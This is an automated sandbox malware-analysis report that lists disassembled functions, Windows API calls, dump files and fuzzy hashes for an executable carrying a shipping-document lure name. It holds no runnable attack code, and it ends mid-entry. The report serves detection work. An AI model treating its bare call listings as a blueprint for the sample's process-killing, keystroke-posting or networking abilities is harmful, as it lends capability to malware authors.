                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: InvalidateRect
                                                • String ID:
                                                • API String ID: 634782764-0
                                                • Opcode ID: 76f34cdaba74527c1a8d8b8ef2ca52c9a58d08bb97b1e5a1aa6eb8e179e81e34
                                                • Instruction ID: 1133034f3976b3ea571f365d17acd96fa28462e88bd04fdc84a084bc1d8d88c5
                                                • Opcode Fuzzy Hash: 76f34cdaba74527c1a8d8b8ef2ca52c9a58d08bb97b1e5a1aa6eb8e179e81e34
                                                • Instruction Fuzzy Hash: CF517C31640218BBEF209F288C85FAD3B65EB05338F684117F655E62E2DB71E9C08B71
                                                Function 00D1A699 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00D7DB1B
                                                • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00D7DB3C
                                                • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00D7DB51
                                                • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00D7DB6E
                                                • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00D7DB95
                                                • DestroyIcon.USER32(00000000,?,?,?,?,?,?,00D1A67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 00D7DBA0
                                                • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00D7DBBD
                                                • DestroyIcon.USER32(00000000,?,?,?,?,?,?,00D1A67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 00D7DBC8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Icon$DestroyExtractImageLoadMessageSend
                                                • String ID:
                                                • API String ID: 1268354404-0
                                                • Opcode ID: 4cec02dd20a69400c7de8ff11b7822e49042a697ff69a5c18f63a72a1f4fb73a
                                                • Instruction ID: 4cfa2d77c29cbc3d5e324bfa501b6092c6e40c54465d913cd212b9b006a60531
                                                • Opcode Fuzzy Hash: 4cec02dd20a69400c7de8ff11b7822e49042a697ff69a5c18f63a72a1f4fb73a
                                                • Instruction Fuzzy Hash: 00515770600309AFDB20DF68DC81FAA37BAAF48350F144519F94A962D1EBB0E990CB70
                                                Function 00D47555 Relevance: 13.6, APIs: 9, Instructions: 142filestringCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D46EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00D45FA6,?), ref: 00D46ED8
                                                  • Part of subcall function 00D46EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00D45FA6,?), ref: 00D46EF1
                                                  • Part of subcall function 00D472CB: GetFileAttributesW.KERNEL32(?,00D46019), ref: 00D472CC
                                                • lstrcmpiW.KERNEL32(?,?), ref: 00D475CA
                                                • _wcscmp.LIBCMT ref: 00D475E2
                                                • MoveFileW.KERNEL32(?,?), ref: 00D475FB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
                                                • String ID:
                                                • API String ID: 793581249-0
                                                • Opcode ID: 84f66d34a451a6179f3d63d1af36fd869e37307730c625b98c7e374562a45f75
                                                • Instruction ID: 033e245452ba8b25d2a7d6f2111c63e67dc309c88686c25f6ec41d22fd3dceb3
                                                • Opcode Fuzzy Hash: 84f66d34a451a6179f3d63d1af36fd869e37307730c625b98c7e374562a45f75
                                                • Instruction Fuzzy Hash: A051FFB2A092299BDF50EB94E8859DE73BDEF1C310B1044AAF605E3141EB74D6C9CB74
                                                Function 00D1EA69 Relevance: 13.6, APIs: 9, Instructions: 135COMMON
                                                Download Yara Rule
                                                APIs
                                                • ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,00D7DAD1,00000004,00000000,00000000), ref: 00D1EAEB
                                                • ShowWindow.USER32(00000000,00000000,00000000,00000000,00000000,?,00D7DAD1,00000004,00000000,00000000), ref: 00D1EB32
                                                • ShowWindow.USER32(00000000,00000006,00000000,00000000,00000000,?,00D7DAD1,00000004,00000000,00000000), ref: 00D7DC86
                                                • ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,00D7DAD1,00000004,00000000,00000000), ref: 00D7DCF2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ShowWindow
                                                • String ID:
                                                • API String ID: 1268545403-0
                                                • Opcode ID: 8afb69de8fbc20e3e2de7b35f9254f12f3688a4620b89ee614dcf3a387f1f067
                                                • Instruction ID: c71670a2f4efcf9456db469eabd1b6af8b15d23bf6636486bf9630c57bbf8202
                                                • Opcode Fuzzy Hash: 8afb69de8fbc20e3e2de7b35f9254f12f3688a4620b89ee614dcf3a387f1f067
                                                • Instruction Fuzzy Hash: 1E41A97021D740BAD7355B28AE8DBA67BA7AF45314F1D440DF48B866A1DE70B8C0D731
                                                Function 00D3BFF0 Relevance: 13.6, APIs: 9, Instructions: 65sleepkeyboardwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D3D342: GetWindowThreadProcessId.USER32(?,00000000), ref: 00D3D362
                                                  • Part of subcall function 00D3D342: GetCurrentThreadId.KERNEL32 ref: 00D3D369
                                                  • Part of subcall function 00D3D342: AttachThreadInput.USER32(00000000,?,00D3C005,?,00000001), ref: 00D3D370
                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 00D3C010
                                                • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00D3C02D
                                                • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00D3C030
                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 00D3C039
                                                • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00D3C057
                                                • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00D3C05A
                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 00D3C063
                                                • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00D3C07A
                                                • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00D3C07D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                • String ID:
                                                • API String ID: 2014098862-0
                                                • Opcode ID: bb53dd5f8e128af75c3078b6e7b696d21cb3994697ec46605b8e868445cef37d
                                                • Instruction ID: bd133280baa31d9fafb5e05a64351aa401662ce6ad8f94973aa9a622a04fd082
                                                • Opcode Fuzzy Hash: bb53dd5f8e128af75c3078b6e7b696d21cb3994697ec46605b8e868445cef37d
                                                • Instruction Fuzzy Hash: 4011A1F1560718BEF7106B649C8AF6A3B2EEF58755F100415F240AB1E0C9F25C419BB4
                                                Function 00D3B263 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00D3AEF1,00000B00,?,?), ref: 00D3B26C
                                                • HeapAlloc.KERNEL32(00000000,?,00D3AEF1,00000B00,?,?), ref: 00D3B273
                                                • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00D3AEF1,00000B00,?,?), ref: 00D3B288
                                                • GetCurrentProcess.KERNEL32(?,00000000,?,00D3AEF1,00000B00,?,?), ref: 00D3B290
                                                • DuplicateHandle.KERNEL32(00000000,?,00D3AEF1,00000B00,?,?), ref: 00D3B293
                                                • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00D3AEF1,00000B00,?,?), ref: 00D3B2A3
                                                • GetCurrentProcess.KERNEL32(00D3AEF1,00000000,?,00D3AEF1,00000B00,?,?), ref: 00D3B2AB
                                                • DuplicateHandle.KERNEL32(00000000,?,00D3AEF1,00000B00,?,?), ref: 00D3B2AE
                                                • CreateThread.KERNEL32(00000000,00000000,00D3B2D4,00000000,00000000,00000000), ref: 00D3B2C8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                • String ID:
                                                • API String ID: 1957940570-0
                                                • Opcode ID: 600c78b10b1d913152f40b5373cf6545ada20e187d66d811f761cfba7c24a071
                                                • Instruction ID: 7213578045f8f273885157aaae0ff046fa2af09749475228014971b62e894fcd
                                                • Opcode Fuzzy Hash: 600c78b10b1d913152f40b5373cf6545ada20e187d66d811f761cfba7c24a071
                                                • Instruction Fuzzy Hash: B201BBB5250304BFE710ABA5EC4DF6B7BADEB88B11F018411FA05DB2E1CA749800CB71
                                                Function 00D5C43F Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: NULL Pointer assignment$Not an Object type
                                                • API String ID: 0-572801152
                                                • Opcode ID: 3d3626e74a1500e41438575aada78b4f7dcdd4fdb0e959e382d261a1831cdf01
                                                • Instruction ID: b49a18f369bb7aeda280a35708731df02c9422f270cfc16553c8da6de4d4d39a
                                                • Opcode Fuzzy Hash: 3d3626e74a1500e41438575aada78b4f7dcdd4fdb0e959e382d261a1831cdf01
                                                • Instruction Fuzzy Hash: E7E1B271A10319AFDF14DFA8C881AAE77B5EF48315F185029ED45A7281E770ED49CBB0
                                                Function 00D5BB08 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 264COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Variant$ClearInit$_memset
                                                • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                • API String ID: 2862541840-625585964
                                                • Opcode ID: 63d6bd70460d3b6e197762f0fe4712d3a1de3e0e67add4391c97d1820c00807d
                                                • Instruction ID: 3f11f77e3e4ec5d949d789b129dbb6351331080e1c97920dfffb7023bb05c3fa
                                                • Opcode Fuzzy Hash: 63d6bd70460d3b6e197762f0fe4712d3a1de3e0e67add4391c97d1820c00807d
                                                • Instruction Fuzzy Hash: 03917071A00215ABDF24DFA5C844FAEBBB8EF45721F14815AFD16AB280D7709949CFB0
                                                Function 00D69A75 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 142windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00D69B19
                                                • SendMessageW.USER32(?,00001036,00000000,?), ref: 00D69B2D
                                                • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00D69B47
                                                • _wcscat.LIBCMT ref: 00D69BA2
                                                • SendMessageW.USER32(?,00001057,00000000,?), ref: 00D69BB9
                                                • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00D69BE7
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$Window_wcscat
                                                • String ID: SysListView32
                                                • API String ID: 307300125-78025650
                                                • Opcode ID: 16676f71e832587a913376126c3e4d647a2ecc36d9d0d074a7f820b9d0dfc3f7
                                                • Instruction ID: d51eaa9d097fb071985c0bb6ef8ce7453457d3fe52fdf89b334f877f059c1e62
                                                • Opcode Fuzzy Hash: 16676f71e832587a913376126c3e4d647a2ecc36d9d0d074a7f820b9d0dfc3f7
                                                • Instruction Fuzzy Hash: 9741AF71940308AFDB219FA8DC85FEAB7B9EB08350F14052AF585E7292D7719D84CB70
                                                Function 00D6172F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D46532: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00D46554
                                                  • Part of subcall function 00D46532: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00D46564
                                                  • Part of subcall function 00D46532: CloseHandle.KERNEL32(00000000,?,00000000), ref: 00D465F9
                                                • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00D6179A
                                                • GetLastError.KERNEL32 ref: 00D617AD
                                                • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00D617D9
                                                • TerminateProcess.KERNEL32(00000000,00000000), ref: 00D61855
                                                • GetLastError.KERNEL32(00000000), ref: 00D61860
                                                • CloseHandle.KERNEL32(00000000), ref: 00D61895
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                • String ID: SeDebugPrivilege
                                                • API String ID: 2533919879-2896544425
                                                • Opcode ID: e3f7ff22a9421a4020f1befa15e11db04bc3d118b1ac73508da08dec6f2ac49a
                                                • Instruction ID: 711ec9a3062b37340f40995542e49069870f72394b7c86afbd71b32af5df712d
                                                • Opcode Fuzzy Hash: e3f7ff22a9421a4020f1befa15e11db04bc3d118b1ac73508da08dec6f2ac49a
                                                • Instruction Fuzzy Hash: 7041AC75600201AFDB05EF54C8A6FADB7A6EF54310F088058FA069F3D2DB79E9448BB1
                                                Function 00D45819 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadIconW.USER32(00000000,00007F03), ref: 00D458B8
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: IconLoad
                                                • String ID: blank$info$question$stop$warning
                                                • API String ID: 2457776203-404129466
                                                • Opcode ID: f154ede605f2f6726dc1f42d5f1c47400ac44976ac660bbb59c86a1bf9cd088d
                                                • Instruction ID: a1cebf3fe23deb7bf846e86e95dd769092e9f22356dc680d1819f6e0f7c20edc
                                                • Opcode Fuzzy Hash: f154ede605f2f6726dc1f42d5f1c47400ac44976ac660bbb59c86a1bf9cd088d
                                                • Instruction Fuzzy Hash: 72110632649B56FFEB055B54BC92DAA379CDF25324B20007AF541E62C3EBB0AA0452B4
                                                Function 00D4A729 Relevance: 12.3, APIs: 8, Instructions: 317COMMON
                                                Download Yara Rule
                                                APIs
                                                • SafeArrayGetVartype.OLEAUT32(?,00000000), ref: 00D4A806
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ArraySafeVartype
                                                • String ID:
                                                • API String ID: 1725837607-0
                                                • Opcode ID: 523e17d25e582600ec44d9513c38114a3aa2a9c009884159af093d376e931ef7
                                                • Instruction ID: a15daee383e468d17f743fcffd8f72b3f02324c8ee5b7ddd200c3156253b6366
                                                • Opcode Fuzzy Hash: 523e17d25e582600ec44d9513c38114a3aa2a9c009884159af093d376e931ef7
                                                • Instruction Fuzzy Hash: E2C17A75A4421ADFDB10DF98D481BAEB7F4EF08315F24806AE645E7281D734AA81CFB1
                                                Function 00D46B49 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00D46B63
                                                • LoadStringW.USER32(00000000), ref: 00D46B6A
                                                • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00D46B80
                                                • LoadStringW.USER32(00000000), ref: 00D46B87
                                                • _wprintf.LIBCMT ref: 00D46BAD
                                                • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00D46BCB
                                                Strings
                                                • %s (%d) : ==> %s: %s %s, xrefs: 00D46BA8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HandleLoadModuleString$Message_wprintf
                                                • String ID: %s (%d) : ==> %s: %s %s
                                                • API String ID: 3648134473-3128320259
                                                • Opcode ID: e5370911e4f54c3fd2af2ac9bf1436ba21acb22e9d184c5142ac2ff86334a5f5
                                                • Instruction ID: 98dc15943128cf14364f325c9d67931bce0b81adf976ca3eb4fdf96f2889af88
                                                • Opcode Fuzzy Hash: e5370911e4f54c3fd2af2ac9bf1436ba21acb22e9d184c5142ac2ff86334a5f5
                                                • Instruction Fuzzy Hash: 8F0112F6500318BFEB11A7949D89EE7776CDB08304F004491B746D2181EA74DE848B71
                                                Function 00D62B19 Relevance: 12.3, APIs: 8, Instructions: 251registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D63C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D62BB5,?,?), ref: 00D63C1D
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D62BF6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharConnectRegistryUpper
                                                • String ID:
                                                • API String ID: 2595220575-0
                                                • Opcode ID: 684259b10b9587be3e5a65ab506838702d79851afc88750380924249065707bc
                                                • Instruction ID: 33d7b04957e6546d52c5dbae05b5870c7914367f923b7cec5a18b0a6e07331c1
                                                • Opcode Fuzzy Hash: 684259b10b9587be3e5a65ab506838702d79851afc88750380924249065707bc
                                                • Instruction Fuzzy Hash: 9D916B712042019FCB01EF54C891B6EB7E6FF98310F08881DF99A972A1DB35E945CFA2
                                                Function 00D5961C Relevance: 12.2, APIs: 8, Instructions: 220networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • select.WSOCK32 ref: 00D59691
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00D5969E
                                                • __WSAFDIsSet.WSOCK32(00000000,?,00000000), ref: 00D596C8
                                                • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00D596E9
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00D596F8
                                                • inet_ntoa.WSOCK32(?), ref: 00D59765
                                                • htons.WSOCK32(?,?,?,00000000,?), ref: 00D597AA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorLast$htonsinet_ntoaselect
                                                • String ID:
                                                • API String ID: 500251541-0
                                                • Opcode ID: 6a526ca20786b0332f87ca71a308c4de39b59474c98a3b198bcc74b9f4ce0393
